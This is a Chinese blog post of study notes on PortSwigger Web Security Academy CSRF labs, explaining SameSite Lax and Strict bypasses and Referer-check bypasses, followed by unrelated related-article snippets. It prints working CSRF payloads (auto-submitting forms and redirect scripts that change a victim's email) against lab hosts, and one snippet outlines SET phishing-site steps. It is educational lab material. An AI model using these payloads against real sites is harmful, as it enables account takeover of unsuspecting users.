当前位置：首页 > news >正文

PostSwigger Web 安全学习：CSRF漏洞2

news 来源：原创 2025/6/9 14:10:59

CSRF 漏洞学习网站：What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

CSRF 漏洞：SameSite相关绕过

当浏览器访问服务器时，服务器会在 Cookie 中添加 SameSite 属性来告诉浏览器是否在来自其他网站的请求中允许携带 Cookie。

如果发出 Cookie 的网站没有明确设置 SameSite 属性来限制来自其它网站的请求，那么浏览器自动设置 SameSite=Lax 以防止跨网站访问携带对方服务的 Cookie。

关于同源和同站点的问题，直接贴出 PostSwigger 官方解释：

请求方	请求	同站点？	同源？
`https://example.com`	`https://example.com`	是的	是的
`https://app.example.com`	`https://intranet.example.com`	是的	否：域名不匹配
`https://example.com`	`https://example.com:8080`	是的	否：端口不匹配
`https://example.com`	`https://example.co.uk`	否：不匹配的 eTLD	否：域名不匹配
`https://example.com`	`http://example.com`	否：不匹配的方案	否：不匹配的方案

SameSite 工作流程

在 SameSite 机制之前，浏览器针对每个请求都会添加对应网站的 Cookie，不管它是否是来自其他站点，这就导致了常规的 CSRF 携带 Cookie 攻击。SameSite 的工作原理是使浏览器和网站所有者能够限制哪些跨站点请求（如果有）应包含特定 Cookie。如下是 SameSite 等级：

Strict：只要请求属于跨站请求，就不携带 Cookie。
Lax：如果请求属于跨站请求，满足以下条件可以携带 Cookie：
- 使用 Get 方式发起请求。
- 使用顶级导航发起请求（如地址栏输入和超链接跳转）。
None：跨站请求携带 Cookie。

开发人员可以手动设置他们网站的 SameSite 级别，例如：

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

实验：使用 GET 请求绕过 Lax 限制

使用顶级导航

<script>document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

POST 伪装成 GET

这是某些框架的特性，表单声明为 method="POST"，但被框架覆盖为 GET 请求，服务器看作 GET 请求，而浏览器认为是 POST 请求。

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST"><input type="hidden" name="_method" value="GET"><input type="hidden" name="recipient" value="hacker"><input type="hidden" name="amount" value="1000000">
</form>

payload：

让 POST 请求覆盖 GET 请求，导致浏览器按 GET 请求判断，服务器按 POST 请求处理。

<script>document.location = "https://0a62002903e24ada80554453009a009b.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

总结：探测框架特性，看是否允许方式覆盖。

通过客户端重定向绕过 Strict

如果目标站点存在站内导航的重定向 url，那么 CSRF 将不存在跨域问题。

相当于用户二次访问同一个站点：

第一次从钓鱼页面跳转到目标网站。
第二次从目标网站重定向到攻击者服务器的受害页面。
第三次从攻击者的服务器页面跳转到敏感页面（如：修改邮箱）。
成功的原因：浏览器能追踪客户端重定向，当它根据源网站来判断需不需要携带 Cookie 时，浏览器会追踪到重定向之前的网站作为源网站。（注意：要区分跳转和重定向。）

注：以上重定向必须是客户端重定向，如果是服务端重定向，比如说服务端发送了一个 Location 的包给浏览器，浏览器能追踪到最初的请求站点，并检测到他们不是同一个站点。差别如下：

客户端重定向用户中招（通过 HTML 或 js 触发的重定向）：

用户访问钓鱼页面。
用户跳转到受害者网站。（当受害者网站触发重定向时，浏览器仍将受害者网站作为源网站来判断是否跨域）
从受害者网站重定向攻击者页面（如修改邮箱）。
攻击者页面向受害者网站发送敏感请求。

服务端重定向利用失败（通过 HTTP 进行的重定向）：

用户访问钓鱼页面。
钓鱼页面触发服务端重定向（假设存在）。
服务器返回 Location 包。
浏览器解析 Location 包，并从钓鱼页面跳转过去。（将钓鱼页面记作源网站，不携带 Cookie）

实验：通过客户端重定向绕过 Strict

当你在某一文章下发表完评论后，会跳转到文章页面：

redirectOnConfirmation = (blogPath) => {setTimeout(() => {const url = new URL(window.location);const postId = url.searchParams.get("postId");window.location = blogPath + '/' + postId;}, 3000);
}

访问：https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=8
重定向后的 url =  blogPath + '/' + postId
其中：
blogpath = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post
postId = 8
重定向后的 url = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/8

如果篡改 postId = ../my-account，访问如下url：
https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account

会跳转到登录页面：

payload：

<script>document.location = "https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=wiener%40pwned.net%26submit=1";
</script>

注：要 URL 编码 & 分隔符，防止一开始就被解析。

实验：使用新发布的 Cookie 绕过 SameSite Lax 限制

绕过场景：服务器没有设置 Cookie 的 SameSite 属性，导致默认 Lax。

Chrome 为了避免破坏单点登录（SSO）机制，不会在前 120 秒内对顶级请求实施这些限制。

攻击者需要让用户重新生成 Cookie，以获取这 2 分钟的窗口期进行攻击。

使用如下 poc 放在攻击者服务器上：

<script>history.pushState('', '', '/')
</script>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="foo@bar.com" /><input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();
</script>

当你在登录后的 2 分钟之内访问它，发现 poc 能成功生效，如下图修改邮箱成功。

如果用户登录超过两分钟，那么诱使用户访问其他页面重新获取 Cookie 后，再访问敏感操作页面（如修改邮箱）。

<form method="POST" action="https://0a9e00760433327180ac357700ea0078.web-security-academy.net/my-account/change-email"><input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>window.open('https://0a9e00760433327180ac357700ea0078.web-security-academy.net/social-login');setTimeout(changeEmail, 5000);
function changeEmail(){document.forms[0].submit();}
</script>

触发目标网站的 OAuth 登录流程：

用户已登录目标网站，但 SSO 提供商会重新颁发会话（例如，OAuth 流程每次生成新会话）。
第一次 SSRF：攻击者诱导用户重新完成 OAuth 登录，生成新 Cookie。（window.open 新标签不受 Lax 限制）
第二次 SSRF：新 Cookie 进入 2 分钟窗口期，此时可绕过 Lax 限制。

重点，攻击者能通过 CSRF 让用户重新获取 Session。

基于 Referer 的 CSRF 防御

Referer 用于服务器获取请求页面的来源页面的 URL，如果服务器发现 Referer 头不合法，那么判定用户正在遭受钓鱼攻击。

常规的检测手法，检测 Referer 头是否是本域。

绕过手段：

宽松的 Referer 验证逻辑：攻击者控制 attacker.com/example.com，此时 Referer 为 attacker.com/example.com。
Referer 标头的删除导致服务器不验证来源。

实验：Referer 标头的删除导致服务器不验证来源

payload：

<html><!-- CSRF PoC - generated by Burp Suite Professional --><!-- 包含以下 HTML 以禁止 referrer --><meta name="referrer" content="no-referrer"><body><form action="https://0aa0007c0387e677806e032d00d8004d.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener&#64;pwned&#45;user&#46;net" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>

实验：宽松的 Referer 验证逻辑

那就在 HTML 钓鱼页面加上：

  <meta name="referrer" content="unsafe-url">       <!-- 防止添加的东西被过滤 --><!-- history.pushState 用于在浏览器历史记录中添加一条新的记录，同时改变当前的 URL，但不会触发页面的刷新。-->history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")<!-- 更新历史 url，添加上这个参数 -->

完整 payload：

<html><!-- CSRF PoC - generated by Burp Suite Professional --><meta name="referrer" content="unsafe-url"><body><form action="https://0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener&#64;pwned&#45;user&#46;net" /><input type="submit" value="Submit request" /></form><script>history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")document.forms[0].submit();</script></body>
</html>

PostSwigger Web 安全学习：CSRF漏洞2

CSRF 漏洞学习网站：What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy CSRF 漏洞：SameSite相关绕过当浏览器访问服务器时，服务器会在 Cookie 中添加 SameSite 属性来告诉浏览器是否在来自其他…...

编程日记 2025/5/11 5:04:02

openharmony—4.1 softbus_tool 工具编译使用测试笔记（持续更新）

相关资料： 1.communication_dsoftbus: 暂无描述 - Gitee.com 2.dsoftbus_tool: OpenHarmony 分布式软总线样例 3.OpenAtom OpenHarmony 4.OpenAtom OpenHarmony 编译该demo之前需要大家搭建拉取openharmony源码，搭建开发环境，同时全…...

编程日记 2025/5/11 5:04:04

关于 Web 服务器的五个案例

一、案例题目： 1.多 IP 访问多网站（在 RHCE 练习二中的实验二） 2.多端口访问多网站 3.多域名访问多网站 4.虚拟目录和用户控制 5.https/443 二、案例实验 2.多端口访问多网站 ① 开始还是先关闭我们的防火墙以及 selinux [rootserve…...

编程日记 2025/5/11 5:04:07

第十二章-PHP文件上传

第十二章-PHP文件上传一，文件上传原理一、HTTP协议与文件上传 1. 请求体结构当表单设置enctype"multipart/form-data"时，浏览器会将表单数据编码为多部分（multipart）格式。 Boundary分隔符：随机生成的…...

编程日记 2025/5/11 5:04:14

#!/bin/bash #关闭防火墙 systemctl status firewalld &>/dev/null if [ $? -ne 0 ];then systemctl stop firewalld &>/dev/null else echo “firewalld is disabled” fi #关闭selinux filegetenforce if [ “$fine” “Disabled” ];then echo “firewalld…...

编程日记 2025/5/22 2:10:56

NdrpPointerUnmarshallInternal函数分析之pFormatPointee指针的确定

第一部分： 0: kd> p RPCRT4!NdrPointerUnmarshall0x29: 001b:77c46ce4 e8b6f6ffff call RPCRT4!NdrpPointerUnmarshall (77c4639f) 0: kd> t Breakpoint 4 hit RPCRT4!NdrpPointerUnmarshall: 001b:77c4639f 55 push ebp 0: kd> …...

编程日记 2025/5/11 5:04:08

STM32（M4）入门：定时器延时与系统滴答（价值 3w + 的嵌入式开发指南）

第 1 章延时：嵌入式系统的时间控制基石 1.1 延时基础：从概念到硬件实现 1.1.1 什么是延时？ 定义：延时是通过软件或硬件手段，使程序执行过程中暂停指定时间，再继续后续操作的技术。本质是对时间的精确或…...

编程日记 2025/5/11 5:04:04

2025 FIC wp

这次比赛计算机和手机大部分题目都比较常规第一和第四部分有点让人摸不着头脑比赛的时候第一部分有四个题没出第四部分基本都没怎么出现在复盘一下把我当时做题的心得和获取的新知识记录一下互联网取证的部分就先学习一下别的师傅检材链接：https://pan.bai…...

编程日记 2025/5/29 20:55:36

STM32标准库和HAL库SPI发送数据的区别-即SPI_I2S_SendData()和HAL_SPI_Transmit()互换

1、标准库SPI初始化这是标准库的SPI初始化配置 2、HAL库SPI初始化这是HAL库函数的SPI初始化配置可以看出，基本一直，除了基本的io口配置区别，其他主要的读写函数不用动的。 3、SPI发送函数_替换对比 /* SPI写入一个字节 */ void SP…...

编程日记 2025/5/26 6:21:21

Cesium 三维场景中通过自定义着色器实现多种特效（纹理、光带、点光源、反射）

整体功能概述构建一个基于 Cesium 的三维场景，加载三维瓦片集模型，同时提供多种特效，像夜景纹理、上下扫光、点光源以及反射纹理等，利用 dat.gui 库创建交互界面。代码详解白膜特效 nightFs.glsl void fragmentMain(Fragm…...

编程日记 2025/5/18 10:18:32

Java学习--HashMap

HaspMap是Java集合框架中最重要、最常用的数据结构之一。其基于哈希表实现了Map接口，在Java1.8的版本中，其采用了“数组链表红黑树”的混合结构，底层代码如下： transient Node<K,V>[] table; // 哈希桶数组 static class N…...

编程日记 2025/5/13 2:02:48

Monorepo、Lerna、Yarn Workspaces、pnpm Workspaces 用法

Monorepo 介绍 Monorepo是一种方案，而非具体的工具。 Monorepo指的是将多个相关的项目或模块放在同一个代码仓库中进行管理的方式。这种方案有以下优点： 方便代码共享：不同项目或模块之间可以方便地共享代码、组件、工具函数等&#xff0c…...

编程日记 2025/5/24 8:05:55

JVM指令手册：深入理解字节码执行机制

精心整理了最新的面试资料和简历模板，有需要的可以自行获取点击前往百度网盘获取点击前往夸克网盘获取引言 Java虚拟机（JVM）作为Java生态的核心执行引擎，其指令系统是理解程序底层运行机制的关键。本手册将系统解析JVM指令集…...

编程日记 2025/5/31 12:30:32

springboot logback 默认加载配置文件顺序

在 Spring Boot 应用中，Logback 默认加载配置文件的顺序遵循特定的规则。以下是详细的加载顺序和优先级说明： 1. 默认配置文件加载顺序 Logback 在 Spring Boot 中会按以下顺序查找并加载配置文件（优先级从高到低）： l…...

编程日记 2025/5/29 13:06:48

用 Nodemon 解决 npm run serve 频繁重启服务

Nodemon 是一个基于 Node.js 构建的开发工具，专为帮助开发者自动监控项目文件的更改而设计。每当文件发生变更时，Nodemon 会自动重启 Node.js 服务器，无需手动停止并重启。这对于提升开发速度、减少人工操作非常有帮助，尤其适用于…...

编程日记 2025/5/30 19:05:12

WEB安全--社会工程--SET钓鱼网站

1、选择要钓鱼的网站 2、打开kali中的set 3、启动后依次选择： 4、输入钓鱼主机的地址（kali）和要伪装的网站域名： 5、投放钓鱼网页（服务器域名:80） 6、获取账号密码...

编程日记 2025/5/29 9:57:35

系统架构师---基于规则的系统架构

引言在业务规则高度动态且需快速响应的系统中，‌基于规则的系统架构风格（Rule-Based System Architecture Style）‌提供了一种将业务逻辑与代码解耦的标准化范式。从保险理赔的自动化审核到金融风控的实时拦截，规则引擎已成为企…...

编程日记 2025/5/21 8:48:10

嵌入式软件--stm32 DAY 4 中断系统

1.课后练习学了这么长时间，现在让我们第一次做练习。 1.1往返流水灯 1.1.1 LED1-LED2-LED3-LED2-LED1循环 （1）工程准备复制上一个寄存器实现的工程文档，删减修改我们正要实现的工程。为了区别练习和学习工程，我们…...

编程日记 2025/5/23 21:57:52

android开发制作aosp系统签名文件给普通apk签名使用

platform.pk8和platform.x509.pem复制出来放在同一目录下将AOSP源码路径下build\target\product\security\platform.pk8和platform.x509.pem复制出来放在同一目录下新开一个ternimal窗口执行下面命令，生成platform.pem文件 openssl pkcs8 -in platform.pk8 -info…...

编程日记 2025/5/29 12:33:58

AVL树的介绍与学习

目录 1.前言 2.AVL树 3.AVL树的插入平衡因子的更新更新停止的条件旋转 1.前言在学习了二叉搜索树，set和map之后，我们接下来趁热打铁，继续学习AVL树。 2.AVL树 1.AVL树具有二叉搜索树的性质，但是它的左右子树的高度差不…...

编程日记 2025/6/1 20:58:39

docker部署Mysql8一直密码错误记录

正常流程是这样得： 第一步 #拉镜像 docker pull mysql:8.0 第二步 #运行名为 mysql8 得容器 ，MYSQL_ROOT_PASSWORD123456 设置密码 docker run -p 3307:3306 \ --name mysql8 \ -e MYSQL_ROOT_PASSWORD123456 \ -v /docker/mysql8/data:/var/lib/m…...

编程日记 2025/5/29 0:58:01

智慧水库与AI深度融合的实现方案及典型应用场景

以下是智慧水库与AI深度融合的实现方案及典型应用场景，结合行业前沿案例与技术架构展开：一、智慧水库AI实现方案 1. 技术架构与核心工具感知层：多模态传感器网络：部署毫米波雷达水位计（精度3mm）、光纤光栅渗压计（分辨率0.01%FS）、高清智能球机（支持800万像素+AI分…...

编程日记 2025/5/15 19:24:22

大语言模型架构基础与挑战

大语言模型（Large Language Model, LLM）在近几年引领了自然语言处理领域的革命性进展。这类模型通常拥有极其庞大的参数规模（往往达到数十亿乃至数千亿级别），通过对海量文本数据进行自监督训练，展现出卓越的语言理解和生成能力。自2018年前后第一批大语言模型问世以来，基…...

编程日记 2025/6/3 13:18:27

KAG：通过知识增强生成提升专业领域的大型语言模型（二）

目录摘要 Abstract 1 实验 1.1 实验设置 1.2 总体结果 1.3 消融研究 1.3.1 知识图谱索引消融 1.3.2 推理与检索消融 1.3.3 实验结果与讨论 2 KAG服务部署 2.1 安装Docker 2.2 安装Doker Compose 2.3 启动服务 2.4 查看状态 2.5 产品访问 3 KAG 0.6使用&#x…...

编程日记 2025/5/12 14:48:51

【Luogu】动态规划六

P1586 四方定理 - 洛谷思路： 这题其实就是完全背包问题，但是有限制，最多数量只能是 4 所以我们可以定义 dp[i][j] 为 i 用 j 个数拼凑的总方案数那么转移方程也很明显了，dp[i][j] dp[i - k*k][j - 1] 具体的，我…...

编程日记 2025/5/29 9:31:22

Postman接口测试: postman设置接口关联，实现参数化

🍅 点击文末小卡片，免费获取软件测试全套资料，资料在手，涨薪更快 postman设置接口关联在实际的接口测试中，后一个接口经常需要用到前一个接口返回的结果， 从而让后一个接口能正常执行，这个…...

编程日记 2025/5/29 20:24:58

docker打开滚动日志

在 Docker 中启用滚动日志（log rotation）可以帮助你管理容器日志的大小，避免日志文件占用过多磁盘空间。以下是具体的操作步骤： 1. 修改 Docker 守护进程配置 Docker 的日志配置是通过 daemon.json 文件管理的。你需要修改此文件…...

编程日记 2025/5/16 14:10:24

单片机-89C51部分：5、点亮LED

飞书文档https://x509p6c8to.feishu.cn/wiki/SlB5wYD1QiPRzWkfijEcIvv8nyc 一、应用场景二、点灯原理插件led灯珠长引脚为正极,短引脚为负极。 LED（发光二极管）两端存在电压差，有一定的电流流过时会亮起。电流可以理解为水流，…...

编程日记 2025/5/12 11:18:13

Lua 第10部分模式匹配

10.1 模式匹配的相关函数字符串标准库提供了基于模式的 4 个函数。我们已经初步了解过函数 find 和 gsub，其余两个函数分别是 match 和 gmatch (Global Match 的缩写）。函数 string.find 用于在指定的目标字符串中搜索指定的模式。最简单的模式就是一…...

编程日记 2025/6/3 17:55:17

Maven 4.0.0 模式-pom.xml配置详解

Maven 4.0.0 模式-pom.xml配置详解此 pom.xml 文件涵盖了 Maven 4.0.0 模式支持的所有主要标签，包括项目元数据、依赖管理、构建配置、发布管理等。每个标签都配有详细注释，说明其作用、常见用法和可能的值。此文件旨在展示标签的完整性&#…...

编程日记 2025/5/27 6:46:22

IDEA 连接 Oracle 数据库

IDEA 连接 Oracle 数据库...

编程日记 2025/5/29 13:52:46

机器人快速启动

机器人快速启动 ES机器人开机操作流程方法一（一体化底座启动） 接通48V电源点击底座“Power”按钮观察电源指示灯亮起，蜂鸣器发出“嘀”声，代表底座启动完成方法二（控制手柄启动） 长按手柄开关机键2秒后松…...

编程日记 2025/5/29 12:36:19

使用 MediaPipe 和 OpenCV 快速生成人脸掩膜（Face Mask）

在实际项目中，尤其是涉及人脸识别、换脸、图像修复等任务时，我们经常需要生成人脸区域的掩膜（mask）。这篇文章分享一个简单易用的小工具，利用 MediaPipe 和 OpenCV，快速提取人脸轮廓并生成二值掩膜图像。 …...

编程日记 2025/6/2 16:11:58

《全球反空间能力》报告翻译——部分1

全球反空间能力已进行过破坏性反卫星测试的国家美国美国目前拥有世界上最先进的军事太空能力，尽管与中国的相对差距正在缩小。在冷战期间，美国开创了许多现今使用的国家安全太空应用，并在几乎所有类别中保持技术领先地位。美国军方在将…...

编程日记 2025/5/29 13:02:24

云原生课程-Docker

一次镜像，到处运行。 1. Docker详解： 1.1 Docker简介： Docker是一个开源的容器化平台，可以帮助开发者将应用程序和其依赖的环境打包成一个可移植的，可部署的容器。 docker daemon:是一个运行在宿主机（DO…...

编程日记 2025/5/28 16:26:13

组件的基本知识

组件组件的基本知识组件概念组成步骤好处全局注册生命周期scoped原理父子通信步骤子传父概念就是将要复用的标签，抽离放在一个独立的vue文件中，以供主vue文件使用组成三部分构成 template：HTML 结构 script: JS 逻辑 style: CSS 样…...

编程日记 2025/5/29 16:38:09

空间矩阵的思考

今天又看了些线性代数，引发了许多思考。矩阵是以长和宽存储数据，那有没有一种新型的矩阵，以长宽高的形式存储数据呢？我不知道有没有，所以暂且称其为空间矩阵。它肯定是存在的，可以这样抽象&#…...

编程日记 2025/5/29 12:18:29

【数据挖掘】时间序列预测-常用序列预测模型

常用序列预测模型 （1）AR（自回归）模型（2）ARIMA模型（3）Prophet模型（4）LSTM模型（5）Transformer模型（6）模型评估6.…...

编程日记 2025/6/4 16:00:04

将你的本地项目发布到 GitHub (新手指南)

目录第 1 步：在 GitHub 上创建新的仓库 (Repository)第 2 步：将本地仓库连接到 GitHub 远程仓库第 3 步：(可能需要) 重命名你的默认分支第 4 步：将本地代码推送到 GitHub第 5 步：在 GitHub 上检查结果后续工作流程你…...

编程日记 2025/5/22 20:57:28

[论文梳理] 足式机器人规划控制流程 - 接触碰撞的控制 - 模型误差 - 自动驾驶车的安全合规（4个课堂讨论问题）

目录问题 1：足式机器人运动规划 & 控制的典型流程 (pipline) 1.1 问题 1.2 目标 1.3 典型流程（Pipeline） 1.3.1 环境感知（Perception） 1.3.2 高层规划（High-Level Planning） 1.3.3 …...

编程日记 2025/5/24 11:03:03

初中级前端面试全攻略：自我介绍模板、项目讲解套路与常见问答

为了给面试官留下专业而亲切的第一印象，自我介绍要突出与岗位相关的技能和项目经验，同时以自己擅长的领域开放式结尾。通常可以按照以下思路组织自我介绍内容：首先简单介绍个人信息和工作年限，然后列出精通的前端技术栈&#xf…...

编程日记 2025/5/26 9:45:04

Android开发中svg转xml工具使用

要使用 svg2vector-cli 工具通过命令行将 SVG 文件转换为 Android 可用的 XML 矢量图标文件，可以单个文件转换或者整个文件夹批量转换，以下是详细的步骤和说明： 1. 准备工作 1.1 下载工具首先需要下载 svg2vector-cli-1.0.0.jar 或更高版本…...

编程日记 2025/5/29 12:56:13

爬虫技术入门：基本原理、数据抓取与动态页面处理

引言在当今数据驱动的时代，网络爬虫技术已成为获取和分析互联网数据的重要手段。无论是搜索引擎的网页收录、竞品数据分析，还是学术研究的语料收集，爬虫技术都发挥着关键作用。本文将深入浅出地讲解爬虫的基本原理，分析它能获取…...

编程日记 2025/5/28 7:52:30

AI预测3D新模型百十个定位预测+胆码预测+去和尾2025年4月27日第65弹

从今天开始，咱们还是暂时基于旧的模型进行预测，好了，废话不多说，按照老办法，重点8-9码定位，配合三胆下1或下2，杀1-2个和尾，再杀6-8个和值，可以做到100-300注左右。 (1)定…...

编程日记 2025/5/17 23:54:17

服务器数据备份，服务器怎么备份数据呢？

企业数据量呈指数级增长，服务器数据备份已成为保障业务连续性、抵御勒索攻击与合规审查的核心技术环节。当前，服务器数据备份方案需兼顾数据完整性、恢复时效性、存储经济性三大核心诉求，其实现路径可根据技术架构、数据规模及容灾等级划分为…...

编程日记 2025/5/24 1:11:56

语音识别质量的跟踪

背景这个项目是用来生成结构化的电子病历的。数据的来源是医生的录音。中间有一大堆的处理，语音识别，关键字匹配，结构化处理，病历编辑......。最多的时候给上百家医院服务。语音识别质量的跟踪一、0225医院的训练后的情况分…...

编程日记 2025/5/31 2:26:16

【数据挖掘】时间序列预测-时间序列的平稳性

时间序列的平稳性 （1）平稳性定义（2）平稳性处理方法2.1 差分法2.2 季节调整（Seasonal Adjustment）2.3 趋势移除（Detrending）2.4 对数转换（Logarithmic Transformation&…...

编程日记 2025/5/29 13:02:35

成都蒲江石象湖旅游攻略之石象湖郁金香最佳观赏时间

石象湖坐落于成都蒲江，拥有绝美的郁金香花海，吸引了很多的游客。如果大家想要观赏比较诱惑人的郁金香，那自然就应该知道正确的观赏时间。心想郁金香合适的时间是每年的3月份到3月底。石象湖会还会举办盛大的郁金香节，在花园内有数…...

编程日记 2025/5/16 16:29:53

大模型、知识图谱和强化学习三者的结合，可以形成哪些研究方向？

大模型（Large Language Models, LLMs）、知识图谱（Knowledge Graph, KG）与强化学习（Reinforcement Learning, RL）作为人工智能领域的三大核心技术，其融合正推动着认知智能迈向新高度。本文结合2023-2025年的最新研究成果，系统梳理三者结合的七大科研方向及其技术路径。 …...

编程日记 2025/5/29 20:08:46

Linux文件操作

在C语言中，我们已经学习了文件相关的知识，那么在Linux中我们为什么还要再来学习文件呢？这是因为C语言中和Linux中，"文件"是2个不同的概念。所以我们要来学习Linux中对文件的操作。在学习之前，我们先来回顾一…...

编程日记 2025/5/27 7:44:05

CSRF 漏洞学习网站：What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

CSRF 漏洞：SameSite相关绕过

SameSite 工作流程

实验：使用 GET 请求绕过 Lax 限制

使用顶级导航

POST 伪装成 GET

通过客户端重定向绕过 Strict

实验：通过客户端重定向绕过 Strict

实验：使用新发布的 Cookie 绕过 SameSite Lax 限制

基于 Referer 的 CSRF 防御

实验：Referer 标头的删除导致服务器不验证来源

实验：宽松的 Referer 验证逻辑

相关文章：